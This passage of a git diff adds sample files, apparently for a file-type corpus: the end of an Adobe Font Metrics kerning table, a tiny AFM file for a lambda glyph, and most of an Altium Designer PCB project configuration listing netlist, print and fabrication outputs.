+KPX slash ncommaaccent -29
+KPX slash gcommaaccent -61
+KPX slash Jcircumflex -29
+KPX slash iogonek -26
+KPX slash ibreve -26
+KPX slash imacron -26
+KPX slash itilde -26
+KPX slash oslashacute -54
+KPX slash nacute -29
+KPX slash eng -29
+KPX slash ncaron -29
+KPX slash racute -27
+KPX slash scedilla -43
+KPX slash scircumflex -43
+KPX slash sacute -43
+KPX slash rcaron -27
+KPX slash ohungarumlaut -54
+KPX slash obreve -54
+KPX slash omacron -54
+KPX slash wgrave -23
+KPX slash wcircumflex -23
+KPX slash wdieresis -23
+KPX slash wacute -23
+KPX slash zdotaccent -41
+KPX J ebreve -32
+KPX J emacron -32
+KPX J edieresis -32
+KPX J ecircumflex -32
+KPX J egrave -32
+KPX J eacute -32
+KPX J e -32
+KPX J Aogonek -34
+KPX J Abreve -34
+KPX J Amacron -34
+KPX J AEacute -34
+KPX J Aacute -34
+KPX J Acircumflex -34
+KPX J Atilde -34
+KPX J Agrave -34
+KPX J Aring -34
+KPX J Adieresis -34
+KPX J AE -34
+KPX J A -34
+KPX J comma -29
+KPX J period -30
+KPX J v -29
+KPX J hyphen -30
+KPX J quotedblbase -34
+KPX J quotesinglbase -34
+KPX J guilsinglright -25
+KPX J guilsinglleft -25
+KPX J emdash -30
+KPX J endash -30
+KPX J guillemotright -25
+KPX J guillemotleft -25
+KPX J germandbls -36
+KPX J ellipsis -30
+KPX J slash -34
+KPX J p -28
+KPX J m -35
+KPX J b 54
+KPX K ycircumflex -60
+KPX K ygrave -60
+KPX K ydieresis -60
+KPX K yacute -60
+KPX K y -60
+KPX K wgrave -36
+KPX K wcircumflex -36
+KPX K wdieresis -36
+KPX K wacute -36
+KPX K w -36
+KPX K uogonek -25
+KPX K uhungarumlaut -25
+KPX K uring -25
+KPX K ubreve -25
+KPX K umacron -25
+KPX K utilde -25
+KPX K udieresis -25
+KPX K ucircumflex -25
+KPX K ugrave -25
+KPX K uacute -25
+KPX K u -25
+KPX K q -23
+KPX K oslashacute -28
+KPX K ohungarumlaut -28
+KPX K obreve -28
+KPX K omacron -28
+KPX K otilde -28
+KPX K odieresis -28
+KPX K ocircumflex -28
+KPX K ograve -28
+KPX K oacute -28
+KPX K eth -28
+KPX K oe -28
+KPX K oslash -28
+KPX K o -28
+KPX K dcaron -24
+KPX K d -24
+KPX K ccaron -27
+KPX K cdotaccent -27
+KPX K ccircumflex -27
+KPX K cacute -27
+KPX K ccedilla -27
+KPX K c -27
+KPX K ecaron -27
+KPX K eogonek -27
+KPX K edotaccent -27
+KPX K ebreve -27
+KPX K emacron -27
+KPX K edieresis -27
+KPX K ecircumflex -27
+KPX K egrave -27
+KPX K eacute -27
+KPX K e -27
+KPX K v -49
+KPX K hyphen -38
+KPX K guilsinglleft -24
+KPX K emdash -38
+KPX K endash -38
+KPX K guillemotleft -24
+KPX K b 49
+KPX L ycircumflex -36
+KPX L ygrave -36
+KPX L ydieresis -36
+KPX L yacute -36
+KPX L y -36
+KPX L wgrave -23
+KPX L wcircumflex -23
+KPX L wdieresis -23
+KPX L wacute -23
+KPX L w -23
+KPX L V -43
+KPX L Tcommaaccent -36
+KPX L Tbar -36
+KPX L Tcaron -36
+KPX L T -36
+KPX L quoteright -49
+KPX L v -32
+KPX L quoteleft -54
+KPX L quotedblright -49
+KPX L quotedblleft -54
+KPX L trademark -29
+KPX L backslash -50
+KPX L asterisk -30
+KPX trademark Aring -24
+KPX trademark Adieresis -24
+KPX trademark Yacute 29
+KPX trademark AE -24
+KPX trademark Y 29
+KPX trademark A -24
+KPX trademark b 31
+EndKernPairs
+EndKernData
+EndFontMetrics
diff --git a/samples/Adobe Font Metrics/lambda.afm b/samples/Adobe Font Metrics/lambda.afm
new file mode 100644
index 0000000000..847e55829e
--- /dev/null
+++ b/samples/Adobe Font Metrics/lambda.afm	
@@ -0,0 +1,23 @@
+StartFontMetrics 2.0
+Comment Generated by FontForge 20170719
+Comment Creation Date: Sun Jul 23 23:14:02 2017
+FontName Greek_Lambda_Character-Regular
+FullName Greek_Lambda_Character Regular
+FamilyName Greek_Lambda_Character
+Weight Regular
+Notice (NONE. NADA. PUBLIC DOMAIN, BOI)
+ItalicAngle 0
+IsFixedPitch false
+UnderlinePosition -175
+UnderlineThickness 90
+Version 020.017
+EncodingScheme ISO10646-1
+FontBBox 33 -177 566 760
+StartCharMetrics 5
+C 13 ; WX 602 ; N uni000D ; B 0 0 0 0 ;
+C 32 ; WX 602 ; N space ; B 0 0 0 0 ;
+C -1 ; WX 602 ; N lambda ; B 33 0 566 760 ;
+C -1 ; WX 602 ; N .notdef ; B 50 -177 551 706 ;
+C -1 ; WX 0 ; N NULL ; B 0 0 0 0 ;
+EndCharMetrics
+EndFontMetrics
diff --git a/samples/Altium Designer/Sample Altium Project.PrjPcb b/samples/Altium Designer/Sample Altium Project.PrjPcb
new file mode 100755
index 0000000000..6f79c0b433
--- /dev/null
+++ b/samples/Altium Designer/Sample Altium Project.PrjPcb	
@@ -0,0 +1,1089 @@
+[Design]
+Version=1.0
+HierarchyMode=0
+ChannelRoomNamingStyle=0
+ReleasesFolder=
+ChannelDesignatorFormatString=$Component_$RoomName
+ChannelRoomLevelSeperator=_
+OpenOutputs=1
+ArchiveProject=0
+TimestampOutput=0
+SeparateFolders=0
+TemplateLocationPath=
+PinSwapBy_Netlabel=1
+PinSwapBy_Pin=1
+AllowPortNetNames=0
+AllowSheetEntryNetNames=1
+AppendSheetNumberToLocalNets=0
+NetlistSinglePinNets=0
+DefaultConfiguration=Sources
+UserID=0xFFFFFFFF
+DefaultPcbProtel=1
+DefaultPcbPcad=0
+ReorderDocumentsOnCompile=1
+NameNetsHierarchically=0
+PowerPortNamesTakePriority=0
+PushECOToAnnotationFile=1
+DItemRevisionGUID=
+ReportSuppressedErrorsInMessages=0
+FSMCodingStyle=eFMSDropDownList_OneProcess
+FSMEncodingStyle=eFMSDropDownList_OneHot
+OutputPath=
+LogFolderPath=
+ManagedProjectGUID=
+IncludeDesignInRelease=0
+
+[Preferences]
+PrefsVaultGUID=
+PrefsRevisionGUID=
+
+[Document1]
+DocumentPath=Sample Schematic Sheet.SchDoc
+AnnotationEnabled=1
+AnnotateStartValue=1
+AnnotationIndexControlEnabled=0
+AnnotateSuffix=
+AnnotateScope=All
+AnnotateOrder=0
+DoLibraryUpdate=1
+DoDatabaseUpdate=1
+ClassGenCCAutoEnabled=1
+ClassGenCCAutoRoomEnabled=1
+ClassGenNCAutoScope=None
+DItemRevisionGUID=
+GenerateClassCluster=0
+DocumentUniqueId=VUNWLVBI
+
+[Document2]
+DocumentPath=Sample Board Design.PcbDoc
+AnnotationEnabled=1
+AnnotateStartValue=1
+AnnotationIndexControlEnabled=0
+AnnotateSuffix=
+AnnotateScope=All
+AnnotateOrder=-1
+DoLibraryUpdate=1
+DoDatabaseUpdate=1
+ClassGenCCAutoEnabled=1
+ClassGenCCAutoRoomEnabled=1
+ClassGenNCAutoScope=None
+DItemRevisionGUID=
+GenerateClassCluster=0
+DocumentUniqueId=NAXMKXNP
+
+[Document3]
+DocumentPath=Sample Output Job.OutJob
+AnnotationEnabled=1
+AnnotateStartValue=1
+AnnotationIndexControlEnabled=0
+AnnotateSuffix=
+AnnotateScope=All
+AnnotateOrder=-1
+DoLibraryUpdate=1
+DoDatabaseUpdate=1
+ClassGenCCAutoEnabled=1
+ClassGenCCAutoRoomEnabled=1
+ClassGenNCAutoScope=None
+DItemRevisionGUID=
+GenerateClassCluster=0
+DocumentUniqueId=
+
+[Configuration1]
+Name=Sources
+ParameterCount=0
+ConstraintFileCount=0
+ReleaseItemId=
+Variant=[No Variations]
+OutputJobsCount=0
+ContentTypeGUID=CB6F2064-E317-11DF-B822-12313F0024A2
+ConfigurationType=Source
+
+[OutputGroup1]
+Name=Netlist Outputs
+Description=
+TargetPrinter=Adobe PDF
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputType1=CadnetixNetlist
+OutputName1=Cadnetix Netlist
+OutputDocumentPath1=
+OutputVariantName1=
+OutputDefault1=0
+OutputType2=CalayNetlist
+OutputName2=Calay Netlist
+OutputDocumentPath2=
+OutputVariantName2=
+OutputDefault2=0
+OutputType3=EDIF
+OutputName3=EDIF for PCB
+OutputDocumentPath3=
+OutputVariantName3=
+OutputDefault3=0
+OutputType4=EESofNetlist
+OutputName4=EESof Netlist
+OutputDocumentPath4=
+OutputVariantName4=
+OutputDefault4=0
+OutputType5=IntergraphNetlist
+OutputName5=Intergraph Netlist
+OutputDocumentPath5=
+OutputVariantName5=
+OutputDefault5=0
+OutputType6=MentorBoardStationNetlist
+OutputName6=Mentor BoardStation Netlist
+OutputDocumentPath6=
+OutputVariantName6=
+OutputDefault6=0
+OutputType7=MultiWire
+OutputName7=MultiWire
+OutputDocumentPath7=
+OutputVariantName7=
+OutputDefault7=0
+OutputType8=OrCadPCB2Netlist
+OutputName8=Orcad/PCB2 Netlist
+OutputDocumentPath8=
+OutputVariantName8=
+OutputDefault8=0
+OutputType9=PADSNetlist
+OutputName9=PADS ASCII Netlist
+OutputDocumentPath9=
+OutputVariantName9=
+OutputDefault9=0
+OutputType10=Pcad
+OutputName10=Pcad for PCB
+OutputDocumentPath10=
+OutputVariantName10=
+OutputDefault10=0
+OutputType11=PCADNetlist
+OutputName11=PCAD Netlist
+OutputDocumentPath11=
+OutputVariantName11=
+OutputDefault11=0
+OutputType12=PCADnltNetlist
+OutputName12=PCADnlt Netlist
+OutputDocumentPath12=
+OutputVariantName12=
+OutputDefault12=0
+OutputType13=Protel2Netlist
+OutputName13=Protel2 Netlist
+OutputDocumentPath13=
+OutputVariantName13=
+OutputDefault13=0
+OutputType14=ProtelNetlist
+OutputName14=Protel
+OutputDocumentPath14=
+OutputVariantName14=
+OutputDefault14=0
+OutputType15=RacalNetlist
+OutputName15=Racal Netlist
+OutputDocumentPath15=
+OutputVariantName15=
+OutputDefault15=0
+OutputType16=RINFNetlist
+OutputName16=RINF Netlist
+OutputDocumentPath16=
+OutputVariantName16=
+OutputDefault16=0
+OutputType17=SciCardsNetlist
+OutputName17=SciCards Netlist
+OutputDocumentPath17=
+OutputVariantName17=
+OutputDefault17=0
+OutputType18=TangoNetlist
+OutputName18=Tango Netlist
+OutputDocumentPath18=
+OutputVariantName18=
+OutputDefault18=0
+OutputType19=TelesisNetlist
+OutputName19=Telesis Netlist
+OutputDocumentPath19=
+OutputVariantName19=
+OutputDefault19=0
+OutputType20=WireListNetlist
+OutputName20=WireList Netlist
+OutputDocumentPath20=
+OutputVariantName20=
+OutputDefault20=0
+
+[OutputGroup2]
+Name=Simulator Outputs
+Description=
+TargetPrinter=Adobe PDF
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+
+[OutputGroup3]
+Name=Documentation Outputs
+Description=
+TargetPrinter=Virtual Printer
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputType1=Composite
+OutputName1=Composite Drawing
+OutputDocumentPath1=
+OutputVariantName1=
+OutputDefault1=0
+PageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType2=PCB 3D Print
+OutputName2=PCB 3D Print
+OutputDocumentPath2=
+OutputVariantName2=[No Variations]
+OutputDefault2=0
+PageOptions2=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType3=PCB 3D Video
+OutputName3=PCB 3D Video
+OutputDocumentPath3=
+OutputVariantName3=[No Variations]
+OutputDefault3=0
+PageOptions3=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType4=PCB Print
+OutputName4=PCB Prints
+OutputDocumentPath4=
+OutputVariantName4=
+OutputDefault4=0
+PageOptions4=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType5=PCBDrawing
+OutputName5=Draftsman
+OutputDocumentPath5=
+OutputVariantName5=[No Variations]
+OutputDefault5=0
+PageOptions5=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType6=PCBLIB Print
+OutputName6=PCBLIB Prints
+OutputDocumentPath6=
+OutputVariantName6=
+OutputDefault6=0
+PageOptions6=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType7=PDF3D
+OutputName7=PDF3D
+OutputDocumentPath7=
+OutputVariantName7=[No Variations]
+OutputDefault7=0
+PageOptions7=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType8=Report Print
+OutputName8=Report Prints
+OutputDocumentPath8=
+OutputVariantName8=
+OutputDefault8=0
+PageOptions8=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType9=Schematic Print
+OutputName9=Schematic Prints
+OutputDocumentPath9=
+OutputVariantName9=
+OutputDefault9=0
+PageOptions9=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType10=SimView Print
+OutputName10=SimView Prints
+OutputDocumentPath10=
+OutputVariantName10=
+OutputDefault10=0
+PageOptions10=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+
+[OutputGroup4]
+Name=Assembly Outputs
+Description=
+TargetPrinter=Adobe PDF
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputType1=Assembly
+OutputName1=Assembly Drawings
+OutputDocumentPath1=
+OutputVariantName1=[No Variations]
+OutputDefault1=0
+PageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType2=Pick Place
+OutputName2=Generates pick and place files
+OutputDocumentPath2=
+OutputVariantName2=[No Variations]
+OutputDefault2=0
+OutputType3=Test Points For Assembly
+OutputName3=Test Point Report
+OutputDocumentPath3=
+OutputVariantName3=[No Variations]
+OutputDefault3=0
+
+[OutputGroup5]
+Name=Fabrication Outputs
+Description=
+TargetPrinter=Adobe PDF
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputType1=Board Stack Report
+OutputName1=Report Board Stack
+OutputDocumentPath1=
+OutputVariantName1=
+OutputDefault1=0
+PageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType2=CompositeDrill
+OutputName2=Composite Drill Drawing
+OutputDocumentPath2=
+OutputVariantName2=
+OutputDefault2=0
+PageOptions2=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType3=Drill
+OutputName3=Drill Drawing/Guides
+OutputDocumentPath3=
+OutputVariantName3=
+OutputDefault3=0
+PageOptions3=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType4=Final
+OutputName4=Final Artwork Prints
+OutputDocumentPath4=
+OutputVariantName4=[No Variations]
+OutputDefault4=0
+PageOptions4=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType5=Gerber
+OutputName5=Gerber Files
+OutputDocumentPath5=
+OutputVariantName5=[No Variations]
+OutputDefault5=0
+OutputType6=Gerber X2
+OutputName6=Gerber X2 Files
+OutputDocumentPath6=
+OutputVariantName6=
+OutputDefault6=0
+OutputType7=IPC2581
+OutputName7=IPC-2581 Files
+OutputDocumentPath7=
+OutputVariantName7=
+OutputDefault7=0
+OutputType8=Mask
+OutputName8=Solder/Paste Mask Prints
+OutputDocumentPath8=
+OutputVariantName8=
+OutputDefault8=0
+PageOptions8=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType9=NC Drill
+OutputName9=NC Drill Files
+OutputDocumentPath9=
+OutputVariantName9=
+OutputDefault9=0
+OutputType10=ODB
+OutputName10=ODB++ Files
+OutputDocumentPath10=
+OutputVariantName10=[No Variations]
+OutputDefault10=0
+OutputType11=Plane
+OutputName11=Power-Plane Prints
+OutputDocumentPath11=
+OutputVariantName11=
+OutputDefault11=0
+PageOptions11=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType12=Test Points
+OutputName12=Test Point Report
+OutputDocumentPath12=
+OutputVariantName12=
+OutputDefault12=0
+
+[OutputGroup6]
+Name=Report Outputs
+Description=
+TargetPrinter=Adobe PDF
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputType1=BOM_PartType
+OutputName1=Bill of Materials
+OutputDocumentPath1=
+OutputVariantName1=[No Variations]
+OutputDefault1=0
+PageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType2=ComponentCrossReference
+OutputName2=Component Cross Reference Report
+OutputDocumentPath2=
+OutputVariantName2=[No Variations]
+OutputDefault2=0
+OutputType3=ReportHierarchy
+OutputName3=Report Project Hierarchy
+OutputDocumentPath3=
+OutputVariantName3=[No Variations]
+OutputDefault3=0
+OutputType4=Script
+OutputName4=Script Output
+OutputDocumentPath4=
+OutputVariantName4=[No Variations]
+OutputDefault4=0
+OutputType5=SimpleBOM
+OutputName5=Simple BOM
+OutputDocumentPath5=
+OutputVariantName5=[No Variations]
+OutputDefault5=0
+OutputType6=SinglePinNetReporter
+OutputName6=Report Single Pin Nets
+OutputDocumentPath6=
+OutputVariantName6=[No Variations]
+OutputDefault6=0
+
+[OutputGroup7]
+Name=Other Outputs
+Description=
+TargetPrinter=Adobe PDF
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputType1=Text Print
+OutputName1=Text Print
+OutputDocumentPath1=
+OutputVariantName1=
+OutputDefault1=0
+PageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType2=Text Print
+OutputName2=Text Print
+OutputDocumentPath2=
+OutputVariantName2=
+OutputDefault2=0
+PageOptions2=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType3=Text Print
+OutputName3=Text Print
+OutputDocumentPath3=
+OutputVariantName3=
+OutputDefault3=0
+PageOptions3=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType4=Text Print
+OutputName4=Text Print
+OutputDocumentPath4=
+OutputVariantName4=
+OutputDefault4=0
+PageOptions4=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType5=Text Print
+OutputName5=Text Print
+OutputDocumentPath5=
+OutputVariantName5=
+OutputDefault5=0
+PageOptions5=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType6=Text Print
+OutputName6=Text Print
+OutputDocumentPath6=
+OutputVariantName6=
+OutputDefault6=0
+PageOptions6=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType7=Text Print
+OutputName7=Text Print
+OutputDocumentPath7=
+OutputVariantName7=
+OutputDefault7=0
+PageOptions7=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType8=Text Print
+OutputName8=Text Print
+OutputDocumentPath8=
+OutputVariantName8=
+OutputDefault8=0
+PageOptions8=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType9=Text Print
+OutputName9=Text Print
+OutputDocumentPath9=
+OutputVariantName9=
+OutputDefault9=0
+PageOptions9=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType10=Text Print
+OutputName10=Text Print
+OutputDocumentPath10=
+OutputVariantName10=
+OutputDefault10=0
+PageOptions10=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType11=Text Print
+OutputName11=Text Print
+OutputDocumentPath11=
+OutputVariantName11=
+OutputDefault11=0
+PageOptions11=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType12=Text Print
+OutputName12=Text Print
+OutputDocumentPath12=
+OutputVariantName12=
+OutputDefault12=0
+PageOptions12=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+OutputType13=Text Print
+OutputName13=Text Print
+OutputDocumentPath13=
+OutputVariantName13=
+OutputDefault13=0
